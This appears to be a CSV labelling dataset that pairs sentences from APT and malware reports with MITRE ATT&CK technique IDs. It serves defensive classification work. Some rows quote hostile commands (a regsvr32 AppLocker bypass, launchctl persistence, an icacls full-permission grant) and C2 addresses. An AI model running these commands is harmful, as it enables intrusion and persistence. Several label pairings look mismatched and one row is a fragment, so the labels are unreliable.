uses port 52100 and 5876 for C2 communications.,T1571
uses PowerShell for execution as well as PowerShell Empire to establish persistence.,T1059.001
uses rundll32.exe in a Registry value added to establish persistence.,T1218.011
uses rundll32.exe to load.,T1218.011
uses the netstat command to find open ports on the victim's machine.,T1049
uses the net view command for discovery.,T1018
uses the zip -r command to compress the data collected on the local system.,T1560
uses token manipulation with NtFilterToken as part of UAC bypass.,T1134
uses Tor for command and control.,T1090.003
uses Twitter as a backup C2 channel to Twitter accounts specified in its configuration file.,T1102
"""uses Windows services typically named """"javamtsup"""" for persistence.""",T1543.003
uses WinRAR to compress data that is intended to be exfiltrated.,T1560
will look for the current IP address.,T1016
What does the resulting watering hole look like? The websites were compromised to redirect visitors to instances of both ScanBox and BEeF,T1189
Malefactors used watering hole attacks to compromise legitimate and trusted websites frequently visited by their targets,T1189
This is followed by a number of Linux shell command style commands related to the malware establishing persistence,T1059
"Tracked Commands During observation of the described above ""router-PC"" CnC we tracked the following commands delivered in the config file before the server went offline",T1059
"The command tab will show previously issued commands, when they were issued, and their status, as seen in Figure 4",T1059
Figure 7 shows just how similar these two batch scripts are with several of the headers being exactly the same and a majority of the commands being the same with the Helminth commands having the 2>&1 suffix to include command errors with the output,T1059
"For instance, this Trojan uses the InternetExplorer application object much like the previous OopsIE Trojan and a very similar sequence of requests to obtain commands",T1059
The run command (1) creates the process cmd.exe /c with the command parameters appended and will write the output of the command in hexadecimal format to the file %APPDATA%\tmpCa.vbs,T1059
"The malware basically provides a remote CMD/PowerShell terminal for the attackers, enabling them to execute any scripts/commands and receive the result via HTTP requests",T1059
"After the initial dropper (qrat.exe) has been executed by the embedded scriptlet, it creates a directory in C:\Users\%username%\AppData\Roaming\Microsoft Network\microsoft_network\1.0.0.0 and unpacks/drops the final QuasarRAT binary named microsoft_network.exe",T1059
"C2 communication is also updated from prior versions, with the following commands now supported by BADNEWS: Command Description 0 Kill BADNEWS",T1059
"Interactive shells (cmd.exe, /bin/bash, etc) can be opened remotely",T1059
"BADFLICK: a backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command and control (C2) configuration",T1059
"The malware supports several capabilities, such as injecting and executing arbitrary code, uploading and downloading files, and executing shell commands",T1059
"After the payload is launched, the shellcode runs the following commands to prevent Microsoft Word from showing a recovery dialog: Lastly, the shellcode overwrites the malicious file with a decoy document related to the Indian defense forces' pay scale / matrix (Figure 3), displays it to the user and terminates the exploited instance of Microsoft Word",T1027
This build tool encrypts the binary's strings with a fresh key for each build,T1027
The group clearly shows a preference for using a simple downloader like Zebrocy as first-stage payloads in these attacks,T1027
APT29 wrote the encrypted and base64-encoded PowerShell backdoor code into that property,T1027
"When we converted the dates in the file strings from the Solar Hijri calendar to the Gregorian one, we found that they were close to the compilation times of the executables and also close to when Cadelle's targets were initially compromised",T1027
Some of the key obfuscation techniques used are: Character Replacement: Several instances of character replacement and string reversing techniques (Figure 10) make analysis difficult,T1027
"The current version, HawkEye Reborn v9 has been modified from earlier versions and heavily obfuscated to make analysis more difficult.The email campaigns that have been observed feature characteristics that are consistent with what is commonly seen with malspam campaigns, with the emails purporting to be associated with various documents such as invoices, bills of materials, order confirmations, and other corporate functions",T1027
"The AutoIT script is offering a lot of other functions which are not used in this campaign, like anti-virtual machine detection, USB drive infection and others.The final payload - which we found in the AutoIT PE file resource section and was started by the process-hollowing shellcode - is a .NET PE file that's obfuscated with ConfuserEx",T1027
All strings below are encrypted via AES256 and base64 encoding,T1027
"Embedded Trojan This Trojan loaded by the first payload contains several embedded executables that it uses to ultimately download and execute a secondary payload, as well as downloading and opening a decoy document",T1027
Figure 3 shows this webshell's code that will run supplied JScript provided in base64 encoded format within the URL within a parameter,T1027
"Figure 6: Assembly view of Sample 3 root installation related byte arrays As it turns out, the referenced byte mask is applied to the other byte arrays using a rolling double-XOR algorithm to construct malware installation paths, filenames, and descriptions for a Linux root account",T1573
"It also gathers network information such as the MAC address, IP address, WINS, DHCP server, and gateway",T1016
"If Adobe Flash or Microsoft Silverlight is no longer required, DHS recommends that those applications be removed from systems.The IOCs provided with this alert include IP addresses determined to be part of the HIDDEN COBRA botnet infrastructure, identified as DeltaCharlie",T1016
"The Retriever Trojan uses the following namespace: using pcchekapp.grp.ammar.samaneh; Android.The malware begins by creating a web service object and uses the following URL within its configuration: http:// service.chrome-up[.]date:8080 /WebService.asmx It then calls a function called ""SetLog2"", which sets variables for the system's IP address, MAC address and hostname",T1016
"The public IP is then POSTed along with OS Version, Internal IP, Machine Name, Domain Name, UserName after being encrypted to the previously chosen URL to register a new victim",T1016
The email address is associated with the Lebanese domain of a major global financial institution,T1016
Examining passive DNS (pDNS) records from PassiveTotal revealed several domain names associated with this IP that mimic popular technology companies,T1016
"The code will gather the information and format the list using the following HTML to create a table: TypeOwnerPermissionsCreatedModificatedSizePath [fileType][fileOwnerAccountName][number filePosixPermissions][fileCreationDate][fileModificationDate][fileSize][file path?] ... Table 1 Commands available within XAgent OSX The 'showBackupIosFolder' command is rather interesting, as it allows the threat actors to determine if a compromised system was used to backup an IOS device, such as an iPhone or iPad",T1016
APT40 relies heavily on web shells for an initial foothold into an organization,T1505.003
"The MPK IRC Bot monitors active application windows and writes the title of the open window along with the logged keystrokes to a file at ""%temp%\Save.tmp""",T1010
"Destroy Evidence: Securely deleted logs, as well as deployed and executed disk-wiping malware, to cover tracks and disrupt forensic analysis",T1070.004
"In the event it does, Reaver will move this file to '%TEMP%\~FJIOW.tmp' and delete this new file",T1070.004
Size Expansion of Configuration Information PlugX is designed to run based on its configuration information stored in itself,T1082
System owners are also advised to run the YARA tool on any system they suspect to have been targeted by HIDDEN COBRA actors,T1082
"Cadelspy initially arrives on the computer as a dropper, which downloads two installer components catering to whether the victim is running a 32-bit or 64-bit system",T1082
"""You can see that in addition to the code, the author copy-pasted English typos such as """"IE Registery"""":PDB PathsWe can clearly identify a pattern in the PDB naming convention of all the binaries mentioned in this article.ROKRAT:e:\Happy\Work\Source\version 12\T+M\Result\DocPrint.pdb (from the """"Evil New Year"""" campaign)d:\HighSchool\version 13\2ndBD\T+M\T+M\Result\DocPrint.pdb (from the """"North Korean Human Rights"""" campaignD:\HighSchool\version 13\First-Dragon(VS2015)\Sample\Release\DogCall.pdb (ROKRAT Sample from an unidentified campaign from June)Wiper:D:\HighSchool\version 13\VC2008(Version15)\T+M\T+M\TMProject\Release\ErasePartition.pdb (From the """"Are You Happy?"""" campaign)Summary GraphHere is a graph to visualize the similarities and differences between each campaign mentioned in this article:ConclusionSouth Korea is becoming an important target for malicious actors and the techniques used are becoming specific to the region (for example: use of native language to try and ensure the targets feel that the information, document or email being sent to them has added legitimacy)""",T1082
"Parameter Description 'u=' This parameter contains target machine information in the following format: , , , , , , '&h=' This parameter includes the information about the command executed and its results",T1082
"The rest of MirageFox functions similarly to previous malware created by APT15, first collecting information about the computer like the username, CPU information, architecture, and so forth",T1082
"The HandlePP::getClientID method uses the following environment variables: Figure 11. Serial number Figure 12. Hardware UUID Figure 13. MAC address Figure 14. Randomly generated UUID For the initial information packet, the backdoor also collects the following: Figure 15. OS version Running getpwuid ->pw_name , scutil - -get ComputerName, and uname -m will provide the following returns respectively: Mac OSX 10.12",T1082
"Additional information For more information about the attacks and the indicators of compromise, please contact: intelreports@kaspersky.com Alternatively, please visit: To find more information about cybersecurity awareness training for enterprise or government staff, go to Kaspersky Security Awareness",T1082
"Is this a Windows-only threat? Which versions of Windows are targeted? Poseidon is particularly focused on the Microsoft Windows operating system family, specifically customizing the infection method for each one so as to gather different information and hide its presence after the initial infection",T1082
"URL parameter Sample data Description c= Victim->Administrator Hostname and username l= 192.168.1.100 Compromised system's IP address o= 5,1,1,32 Windows major and minor version, coupled with architecture (32 v",T1082
The PE compile time of loaders and the create time of droppers (Word documents) are plotted in the graph,T1124
"Alarmingly, the detection score on VirusTotal for all of the documents continues to be 0/56 from the time the first documents were uploaded (1.6.2017) up until the date of this publication",T1124
The times of day that APT33 threat actors were active suggests that they were operating in a time zone close to 04:30 hours ahead of Coordinated Universal Time (UTC),T1124
"The last technique that was particularly interesting is the time zone check, as the Trojan will not execute its functional code if the system does not have a specific time zone set",T1124
"Figure 2: Exploit Shellcode used to Locate and Decode Payload The shellcode (Figure 2) searches for and decodes the executable payload contained in memory between the beginning and ending file markers 0xBABABABA and 0xBBBBBBBB, respectively",T1140
Comnie continues to load an embedded bitmap (BMP) file and decrypt data at offset 0x512,T1140
The subdomain 676f6f646c75636b is a hex encoded string which decodes to goodluck,T1140
"The final antidebugging technique involves GetTickCount performance counters, which are placed within the main sections of code to detect any delay a debugger adds during runtime",T1140
"Even if the arsenal of this actor is diverse, we have identified some patterns, copy-paste code from various public repositories and similarities between the different piece of code",T1140
"The MirageFox binaries export a function called dll_wWinMain, the name of an export in vsodscpl.dll, a module by McAfee that is loaded by a few of their executables that import and call this function",T1140
The malware proceeds to decrypt and embedded configuration of 128 bytes using a simple XOR routine,T1140
The payload then uses the MD5 hash (14331d289e737093994395d3fc412afc) of what appears to be a hardcoded SHA1 hash (B6A75B1EF701710D7AEADE0FE93DE8477F3BD506) as an RC4 key to decrypts the resulting decoded data,T1140
No pdb/debug strings are present in the code,T1140
"Malicious document used by Tropic Trooper PDB Strings as Context Clues The MSI file has two program database (PDB) strings inside: one belonging to the MSI file, and another for the backdoor installer (detected by Trend Micro as TROJ_TCDROP.ZTFB)",T1140
Snapshot of code we used to decrypt TClient's configuration Figure 11,T1140
"This effectively routes SOGU malware traffic through the victim's service provider, which likely indicates a foothold on the service provider's network",T1543 | T1543.003
BootComplete starts the AutoStartup service and the AutoStartup service makes sure that MainActivity is always running,T1543 | T1543.003
"The executable attempts to download a couple of files from different sources and saves them in the AppData and Startup folders for persistence, then invokes the first downloaded file - Picture2.exe",T1105
It exploits CVE-2017-0199 to download the second stage payload from 193.23.181.151 (Figure 3),T1105
"Zyklon is a publicly available, full-featured backdoor capable of keylogging, password harvesting, downloading and executing additional plugins, conducting distributed denial-of-service (DDoS) attacks, and self-updating and self-removal",T1105
"Figure 4: Embedded URL in OLE object Figure 5: HTTP GET request to download the next level payload The downloaded file, doc.doc, is XML-based and contains a PowerShell command (shown in Figure 6) that subsequently downloads the binary Pause.ps1",T1105
"Figure 8: Network communication to download the Pause.ps1 payload Zyklon Delivery In all these techniques, the same domain is used to download the next level payload (Pause.ps1), which is another PowerShell script that is Base64 encoded (as seen in Figure 8)",T1105
"As shown in Figure 12, the script within the dupatechecker.doc file attempts to download another file named dupatechecker.exe from the same server",T1105
Most of them manipulate the machine to download and execute different files,T1105
"A backdoor that communicates with a single command and control (C2) server using HTTP GET and POST requests, TONEDEAF supports collecting system information, uploading and downloading of files, and arbitrary shell command execution.",T1105
SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests,T1071
Pseudo-HTTP Protocol Messages for the pseudo-HTTP protocol are delimited with the '|' character,T1071
"After Comnie collects the remote C2 information, it will communicate with these remote servers using HTTP requests",T1071
"If you compare the HTTP GET request from the RIPTIDE samples (Figure 1) to the HTTP GET request from the HIGHTIDE samples (Figure 3) you can see the malware author changed the following items: User Agent Format and structure of the HTTP Uniform Resource Identifier (URI) Figure 3: HIGHTIDE GET Request Example Similar to RIPTIDE campaigns, APT12 infects target systems with HIGHTIDE using a Microsoft Word (.doc) document that exploits CVE-2012-0158",T1071
Figure 9: Command logs after execution Network Communications FELIXROOT communicates with its C2 via HTTP and HTTPS POST protocols,T1071
"The following shows the specific IP addresses or strings used by the C2 to transmit a success or cancel message depending on the type of DNS query used for C2 communications: DNS Type Successful Cancel A,AC 1.1.1.\d+ 1.2.9.\d+ AAAA 2a00:: 2200:: CNAME,MX,TXT,SRV,SOA ok cancel After providing system specific information, the payload will Interact with the C2 server to obtain commands, which the payload refers to as jobs",T1071
"It does so using either the HTTPS/HTTP or DNS channels, depending on which method is successful",T1071
"Finally, the first DLL adds the registry key ""SysRat,"" at SoftWare\Microsoft\Windows\CurrentVersion\Run, to ensure the malware is executed at startup",T1547.001
"APT10 spear phishes have been relatively unsophisticated, leveraging .lnk files within archives, files with double extensions (e.g",T1547.009
The .lnk file extracted from the .7zip file,T1547.009
The script saves the decoded and decompressed executable to %APPDATA%\Microsoft\Windows\Templates\WindowsTemplate.exe and creates an LNK shortcut at %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk to persistently run WindowsTemplate.exe each time Windows starts up,T1547.009
"If this file exists, the content is read in order to obtain a path to find a second file with the LNK (link) extension",T1547.009
"When it is executed, it creates two files: an LNK file that points to %system32%\rundll32.exe, and the FELIXROOT loader component",T1547.009
In this campaign the KopiLuwak backdoor was encoded and delivered in a Windows shortcut (.lnk) file,T1547.009
"When the Trojan runs as an executable within the ""DsvHelper"" folder, the Trojan will create a shortcut (.lnk file) and save the shortcut to the 'DsvHelper' folder",T1547.009
The tactic also serves to mask malicious C2 and exfiltration traffic and make it appear innocuous,T1132
The encoded payload is then made to look like a URI by having a random number of '/' characters inserted at random locations within the encoded payload,T1132
McAfee ATR has now discovered additional implants that are part of an operation to gain persistence for continued data exfiltration and for targeted access,T1132
The DropIt Trojan we analyzed is an executable that builds an embedded executable by decoding embedded blobs of base64 encoded data and concatenating them together in the correct order,T1132
"Initial Compromise For initial compromise, FireEye Intelligence has observed APT39 leverage spear phishing emails with malicious attachments and/or hyperlinks typically resulting in a POWBAT infection",T1598.002
"In order to meet the phishing emails' infrastructure requirements, disposable domains and emails were used as the delivery medium",T1598.002
"Initial Attack On December 13, 2017, a spear phishing email was sent from the email address of yuri.sidorav@yandex[.]ru to a high ranking individual within a British government agency",T1598.002
"Traps blocks all of the files currently associated with Gorgon Group Appendix Analysis of a targeted attack ""1971 Liberation War Freedom Fighters in Pakistan ArmyCustody Database98"" The delivery documents used in the targeted attacks are Microsoft Office documents that contain a macro that attempts to compromise the system",T1598.002
The victim will then see a prompt to Enable Content as with any malicious macro document as seen in Figure 5,T1204
"Figure 5 Remote template document requesting the user to click ""Enable Content"" to run macro Clustering The delivery documents used in the October and November waves shared a large number of similarities, as seen in Table 1, which allowed us to cluster the activity together",T1204
"In one example, the Word document contained a button with the label ""First click ""Enable Content"" above the page, then click here to fill out the form"" This string attempts to trick the user into enabling macros to execute the malicious code within the macro",T1204
"Malicious Macro Analysis When the victim opens the ThreeDollars document they are presented with the lure image and prompted to click on the ""Enable Content"" button",T1204
"Figure 9: Example of callback Earlier versions of UPPERCUT used the hard-coded string ""this is the encrypt key"" for Blowfish encryption when communicating with a C2",T1573
A 256-bit AES session key is generated and used to encrypt both message headers and bodies separately,T1573
"It has historically leveraged legitimate third-party websites to host the malware's command and control (C2) information, acting as ""dead drops""",T1102
The group also used GitHub as a repository for tools that it downloaded post-compromise.,T1102
"The Trojan checks to see if the result of this query returned a class with more than 0 elements, which would most likely be true in a non-virtual environment",T1018
"The primary difference was that this sample was encrypted and password protected, requiring the victim to enter in a password which was likely provided by the adversary to view the document",T1018
"(Source: Dell SecureWorks) Over a few days' span, the threat actors install remote access tools on additional systems based upon the results of the network reconnaissance",T1018
"NetPass is a free network password recovery tool that, according to its developer Nirsoft, can recover passwords including: Login passwords of remote computers on LAN",T1003
It should be noted that the Win32/KillDisk.NBB variant used against media companies is more focused on destroying various types of files and documents,T1083
Included in the directories were a combination of files leveraged in targeted attacks mentioned above against nation states,T1083
17 Complete List of Malware Files Fig,T1083
"Some lure documents used in these attacks are shown below: Decoy documents used in BlackOasis attacks To summarize, we have seen BlackOasis utilizing at least five zero days since June 2015: CVE-2015-5119 - June 2015 CVE-2016-0984 - June 2015 CVE-2016-4117 - May 2016 CVE-2017-8759 - Sept 2017 CVE-2017-11292 - Oct 2017 Attacks Leveraging CVE-2017-11292 The attack begins with the delivery of an Office document, presumably in this instance via e-mail. Embedded within the document is an ActiveX object which contains the Flash exploit",T1203
"Leveraging data from Kaspersky Security Network, we identified two other similar exploit chains used by BlackOasis in June 2015 which were zero days at the time. Those include CVE-2015-5119 and CVE-2016-0984, which were patched in July 2015 and February 2016 respectively. These exploit chains also delivered FinSpy installation packages",T1068
"Deploying a multi-layered approach including access policies, anti-virus, network monitoring and whitelisting can help ensure customers are protected against threats such as this. Users of Kaspersky products are protected as well against this threat by one of the following detections: PDM:Exploit.Win32.Generic HEUR:Exploit.SWF.Generic HEUR:Exploit.MSOffice.Generic More information about BlackOasis APT is available to customers of Kaspersky Intelligence Reporting Service",T1068
"These vulnerabilities were patched last December 28 2015, April 5, 2016, and May 12, 2016, respectively",T1068
"Trend Micro Solutions Trend Micro™ Deep Security™ and Vulnerability Protection provide virtual patching that protects endpoints from threats such as malicious redirections to malware-hosting URLs, as well as those that exploit unpatched vulnerabilities",T1068
exploits a known Windows privilege escalation vulnerability ( ) on unpatched computers.,T1068
Detecting Avast A unique feature of this latest Astaroth Trojan campaign is the malware's ability to search for specific security products and exploit them,T1518.001
"Checks for the presence of security tools (detailed in the Appendix) and if any of these security tools are discovered, then the system will be shut down, as shown in Figure 14",T1518.001
"APT38 is characterized by long planning, extended periods of access to compromised victim environments preceding any attempts to steal money, fluency across mixed operating system environments, the use of custom developed tools, and a constant effort to thwart investigations capped with a willingness to completely destroy compromised machines afterwards",T1005
"Following the compromise of this system, analysts identified FIN6 leveraged stolen credentials to move laterally within the environment using the Windows' Remote Desktop Protocol (RDP).",T1021.001
"FIN6 also moved laterally to servers in the environment using RDP and configured them as malware ""distribution"" servers.",T1021.001
Each of the emails had a password protected RAR archive attached named credential.rar,T1560
"Msoffice365cdn[.]com resolves to 80.82.79.221, which resides on the same class C network range as the IP resolution of office365-technical[.]info, which resolves to 80.82.79.240",T1571
"SpyNote RAT builder The SpyNote Remote Access Trojan (RAT) builder is gaining popularity in the hacking community, so we decided to study its pervasiveness",T1571
"On execution, the tool injects itself into lsass.exe and is triggered with the argument ""dig""",T1055
This utility is able to execute complicated WQL queries and WMI methods,T1047
POSHSPY's use of WMI to both store and persist the backdoor code makes it nearly invisible to anyone not familiar with the intricacies of WMI,T1047
WMI permanent event subscriptions can be used to trigger actions when specified conditions are met,T1047
"Initial triage begins with connecting to Windows Management Instrumentation (WMI) via the ""ROOT\CIMV2"" namespace",T1047
Most of the PowerShell commands would call Windows Management Instrumentation (WMI),T1047
"If this function is successfully loaded, it will ultimately spawn a new instance of itself with the Rundll32Call export via a call to rundll32.exe",T1218.011
"The function then uses the built-in Shell function to run the following command, which effectively executes the .sct file stored in 12-B-366.txt: regsvr32.exe /s /n /u /i:%TEMP%\12-B-366.txt scrobj.dll The use of the legitimate regsvr32.exe application to run a .sct file is an AppLocker bypass technique originally discovered by Casey Smith (@subtee), which eventually resulted in a Metasploit module",T1218.010
"Those assignments were not likely arbitrary, as this group had developed BlackEnergy2 for several years in a professional and organized style: Config with a similar set of plugins for different architectures Here is the list of retrieved files and related functionality: weap DDoS Attack (various types) ps password stealer handling a variety of network protocols (SMTP, POP3, IMAP, HTTP, FTP, Telnet) nm scans ports, stores banners snif logs IP source and destination, TCP/UDP ports hook main module: CnC communication, config parser, plugins loader uper rewrites hook module with a new version and launches it Weap, Snif, Nm plugin grammar mistakes and mis-spellings The developers' coding style differed across the 'Hook' main module, the plugins, and the Windows main.dll",T1046
"For example, APT32 installed one backdoor as a persistent service with a legitimate service name that had a Unicode no-break space character appended to it",T1036
"SHA256 Filename PowerShell Filename Variant 5f001f3387ddfc0314446d0c950da2cec4c786e2374d42beb3acce6883bb4e63 Technical Services.exe Office365DCOMCheck.ps1 Bat2exe d948d5b3702e140ef5b9247d26797b6dcdfe4fdb6f367bb217bc6b5fc79df520 tafahom.exe, Sales Modification.exe SystemDiskClean.ps1 .NET Table 1",T1036
Filename vsrss.exe File Size 446976 bytes MD5 5c3456d5932544b779fe814133344fdb SHA1 7ab750afb25457a81c27a98dc6dfd51c27e61b0e Notes Delphi RAT file that beacons to ebeijingcn.live,T1036
"It named Meterpreter as a WAV file type, probably in the hope that this would not raise suspicions",T1036
"The Glimpse panel showing three compromised systems To interact with a specific agent, the actor selects the entry to open in the agent control panel",T1543.001
Property list with persistence settings launchctl load /Library/LaunchDaemons/filename.plist > /dev/nul or launchctl load ~/Library/LaunchAgents/ filename.plist > /dev/nul will then command the operating system to start the dropped backdoor file at login,T1543.001
"From the 185.25.50[.]93 C2 IP, we discovered another hard-coded user agent being used by Zebrocy: Mozilla/5.0 (Windows NT 6.1; WOW64) WinHttp/1.6.3.8 (WinHTTP/5.1) like Gecko We observed several samples of Zebrocy using this user agent targeting the foreign affairs ministry of a large Central Asian nation",T1543.001
"If the Trojan does not have root privileges to enable its automatic launch, it creates the ""~/.config/autostart/dbus-inotifier.desktop"" file with the following contents: [Desktop Entry] Type=Application Exec=/home/user/.config/dbus-notifier/dbus-inotifier Name[en_EN]=system service d-bus notifier Name=system service d-bus notifier Comment[en_EN]= Comment= ""/home/user/"" stands here for the environment variable HOME",T1033
PDB strings containing the 'SyberSpace' username,T1033
"bat: A batch file to set up the service COMSysApp, for an x64 system bat: A batch file to set up the service COMSysApp, for an x86 system ini: A data file with Base64-encoded data for connecting to an FTP server",T1059
"So this method uses psexec itself to copy the payload over the network, overwrite earlier versions (if found), and run it without waiting for any response. They use batch files that leverage psexec , again, to push PowerShell loader scripts out to machines the network scanner finds on the internal network.",T1059
Screenshots The data dump includes several screenshots of resources that the leaker alleged was related to the OilRig group,T1113
Periodic low resolution screenshots,T1113
LONGWATCH is a keylogger that outputs keystrokes to a log.txt file in the Window's temp folder.,T1056
"With the Trojan moved its final location, it will then create a scheduled task to run a VBScript to make sure it runs persistently",T1053 | T1053.005
"This process ultimately attempts to run the Trojan every three minutes, which is important as OopsIE relies on this scheduled task as it does not include a main loop to continue its execution",T1053 | T1053.005
"The oldest known sample of the Delphi variant (SHA256: 5a02d4e5f6...) provided us a much stronger linkage between this Delphi Cannon and Cannon, as this sample collects system information and sends it to the C2 email address, which includes the path of the running process appended to the string Running place",T1057
"""win32_remote"",""win64_remote64"",""ollydbg"",""ProcessHacker"",""tcpview"",""autoruns"",""autorunsc"",""filemon"",""procmon"",""regmon"",""procexp"",""idaq"",""idaq64"",""ImmunityDebugger"",""Wireshark"",""dumpcap"",""HookExplorer"",""ImportREC"",""PETools"",""LordPE"",""dumpcap"",""SysInspector"",""proc_analyzer"",""sysAnalyzer"",""sniff_hit"",""windbg"",""joeboxcontrol"",""joeboxserver"" Blacklisted process names in the malware In some cases, it calculates the checksum of each running process name, and if it matches any hard-coded checksums, it causes a BSOD via the ntdll.dll ""NtRaiseHardError"" function",T1057
"One of the documents we examined with the filename Rocket attacks on Israel.docx (SHA256: 34bdb5b364..) contained inconsistent creation and last modified timestamps, with the last modified timestamp occurring before the creation timestamp",T1070.006
Create a process by impersonating a logged-on user Getting a user token using WTSQueryUserToken,T1134
ARTIFACTS: Documents: 2781526f6b302da00661b9a6a625a5a6ecf4ffccafa61202e9b0e9b61b657867 c357396ca82fdcd6b6f46b748f2b6941051dbc81be5326cf9548e6e95507af7c ffebcc4d2e851baecd89bf11103e3c9de86f428fdeaf0f8b33d9ea6f5ef56685 Domains: true-deals[.]com; strikes-withlucky[.]com Email account in registration is: isvarawski@yahoo.com Attacker email account: adrian.1987clark@yahoo.com,T1087
Message 2: Headers Received: by mailcenter.support Sender Council on Foreign Relations Subject The Four Traps China May Fall Into Body Content and images included within the e-mail body were a direct copy of the following CFR article: Notes Multiple hyperlinks within the e-mail body lead to a malicious RTF document located at the URL hxxp://fprii.net/The_Four_Traps_for_China.doc,T1087
"Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network",T1087
The shareDll32 module then enumerates and identifies systems connected on the same domain using WNetEnumResource and GetComputerNameW,T1087
"The VBScript has a SHA256 has of 649e3922ec53d5b195ed23aac08148faeb561f47e891b1e6ff60a2a9df4fea17, which calls two PowerShell commands to download and execute a payload and downloading and opening of a decoy document",T1546.013 | T1059.001
FIN6 used PowerShell to execute an encoded command,T1546.013 | T1059.001
the PowerShell is executed using reflectively loaded ReflectivePicker from the Empire project,T1546.013 | T1059.001
"""In this context the main function is executed.""""Console"""": with the argument, a persistence is configured and the malware will be executed at the next reboot ( HKCU\Software\Microsoft\Windows\CurrentVersion\Run\runsample ).""""Sample"""": with this argument, the malware executes the console command followed by the help command.The information collected is performed using WMI queries:Additionally the malware lists the running process via the Microsoft Windows API""",T1106
"The overwritten instruction (displayed in Figure 1) is used to call the ""WinExec"" function from kernel32.dll, as depicted in the instruction at 00430c12, which calls the ""WinExec"" function",T1106
"Registry key ""SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System "" is queried to check the values ConsentPromptBehaviorAdmin and PromptOnSecureDesktop",T1012
VMware DLL Check The Trojan checks to see if the files vmGuestLib.dll or vmbusres.dll exist in the system directory,T1497.001 | T1497
Ryuk is a ransomware that uses a combination of public and symmetric-key cryptography to encrypt files on the host computer.,T1486
"A new child process is created as "" tg yt ut rc ( ID) .e xe - i SM- tgytutrc "", which is used to encrypt a single file on the drive",T1486
"In order to evade network level detection, the downloader uses steganography.",T1001
send a POST response to the C&C server to extract the user's login credentials. redirect users to fake phishing websites.,T1185
icacls . /grant Everyone:F /T /C /Q,T1222
COM + hijack in same sentence,T1546.015
"!Hello The Trojan introduces itself by sending the current username, if its an admin account or not, the computer name, the system UUID and the OS version",T1033 | T1082
"19-2 A startup event for persistence The malware will run 2 .dlls from regsvr32 simultaneously, spawning userinit, ctfmon, and svchost processes",T1218.010 | T1547.001
"AC,CNAME,MX,TXT,SRV,SOA Uses the regular expression 'Address:\s+(\d+.\d+.\d+.\d+)' and uses the decimal value in the first octet of that IPv4 address Table 1 Breakdown of query types Once the system identifier is obtained, the payload gathers system specific information and sends it to the C2 server",T1082 | T1016
"Advanced endpoint threat detection (AETD) can help detect activity associated with web shells and lateral movement, and network technologies that use sandboxing techniques to detonate binaries in network traffic can prevent malicious traffic from reaching internal systems",T1505.003 | T1021.002
"Again, a shortcut file is written to the %TEMP% path with a name of '~Update.lnk', which is in turn copied to the identified startup path with a filename of 'Windows help.lnk'",T1036 | T1547.009
An obfuscated command is located inside the Target bar in the .lnk file properties. Hidden command inside the .lnk file,T1070.006 | T1547.009
APIs from the following libraries are loaded at runtime: Kernel32.dll Ws2_32/wsock32.dll Apvapi32.dll Oleaut32.dll Iphlp.dll Urlmon.dll A dynamic API loaded by the malware,T1055 | T1574.001
"A second scheduled task named ""Scheduled Defrags"" was created by loading the raw task XML with a backdated task creation timestamp of June 2, 2016",T1053.005 | T1036
"helloworld - performs actions identical to the newer sample's 'Sub' function helloworld1 - accepts command-line arguments, performs a UAC bypass helloworld2 - drops and compiles a mof filemof file sqmAddTostream - expected to run initially by the malware, checks OS version and loads the malware with helloworld2",T1573 | T1027.001 | T1016 | T1048 | T1550.002
"Cache.dll code flow overview RC4 decrypt hardcoded c2 and urls resolve hidden function calls collect identifying victim system data encrypt collected data send stolen data to c2 and retrieve commands Cache.dll code details Structurally, ""Cache.dll"" is a fairly large backdoor at 425KB",T1005 | T1140 | T1041
"Cache.dll connectback urls: 209.200.83.43/ajax/links.php 209.200.83.43/ajax/api.php 209.200.83.43/ajax/index.php 209.200.83.43/ajax/error.php 209.200.83.43/ajax/profile.php 209.200.83.43/ajax/online.php 209.200.83.43/ajax/loader.php 209.200.83.43/ajax/search.php Observed user-agent string on the wire, but it's dynamically generated based on the Windows system settings (retrieved using standard win32 api ""ObtainUserAgentString""): ""User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)"" Communications with the CozyDuke C2 include key/value pairs passed as URL parameters",T1106 | T1087
"""Command Functionality A List logical drives B List directory (Z1 = directory name to list) C Read data from file (Z1 = filename to read) D Write content to file (Z1 = filename to write, Z2 = content to write) E Delete file in directory (Z1 = file) F Generate custom web response """"->|value in Z1|<-"""" G Write hex-encoded content to file (Z1 = filename to write, Z2 = hex encoded content to write) H Call _Notice(Z1, Z2) I Move/rename file or directory (Z1 = target, Z2 = new name) J Create directory (Z1 = directory name) K Timestomp file or directory (Z1 = target, Z2 = time/date string to stomp to) L Download file from Internet (Z1 = URL, Z2 = filename to write to) M Launch process (Z1 = process name, Z2 = arguments) N Test connect to SQL database (Z1 = SqlConnect String) O SQL Get database table scheme (Z1 = \r delimited parameters to command) P SQL Get database table scheme with restrictions (Z1 = \r delimited parameters to command) Q SQL execute SQL command (Z1 = \r delimited parameters to command) Table 4""",T1070.006 | T1036 | T1083 | T1074 | T1547.001
"Commands Description 0x97A168D9697D40DD Download and validate file (XXHash comparison) from C2 server 0x7CF812296CCC68D5 Upload file to C2 server 0x652CB1CEFF1C0A00 Load PE file 0x27595F1F74B55278 Download, validate (XXHash comparison), execute file, and send output to C2 server 0xD290626C85FB1CE3 Format the current timestamp 0x409C7A89CFF0A727 Capture the desktop screenshot in PNG format and send it to C2 None of the above The received buffer is executed via cmd.exe and the output is then sent to the C2 server Table 5: Supported commands Conclusion While APT10 consistently targets the same geolocation and industry, the malware they use is actively evolving",T1113 | T1071 | T1041 | T1132 | T1105
"""During our analysis, we observed one loader running ""rr.exe"" with the following arguments:open cmd.exe /c c:\\temp\\rr.exe SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run """"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\spp.exe"""" iexploreThe ""rr.exe"" payload dropped to the system does nothing more than use the supplied command line arguments to create a registry key to execute the payload each time the system starts""",T1055.012 | T1036
"Executable-Signing Certificates Samples are usually signed with a fake certificate - we've seen two instances, one AMD and one Intel: Configuration files: Some of the malware uses an encrypted configuration file which is stored on disk as ""racss.dat""",T1553.002 | T1027
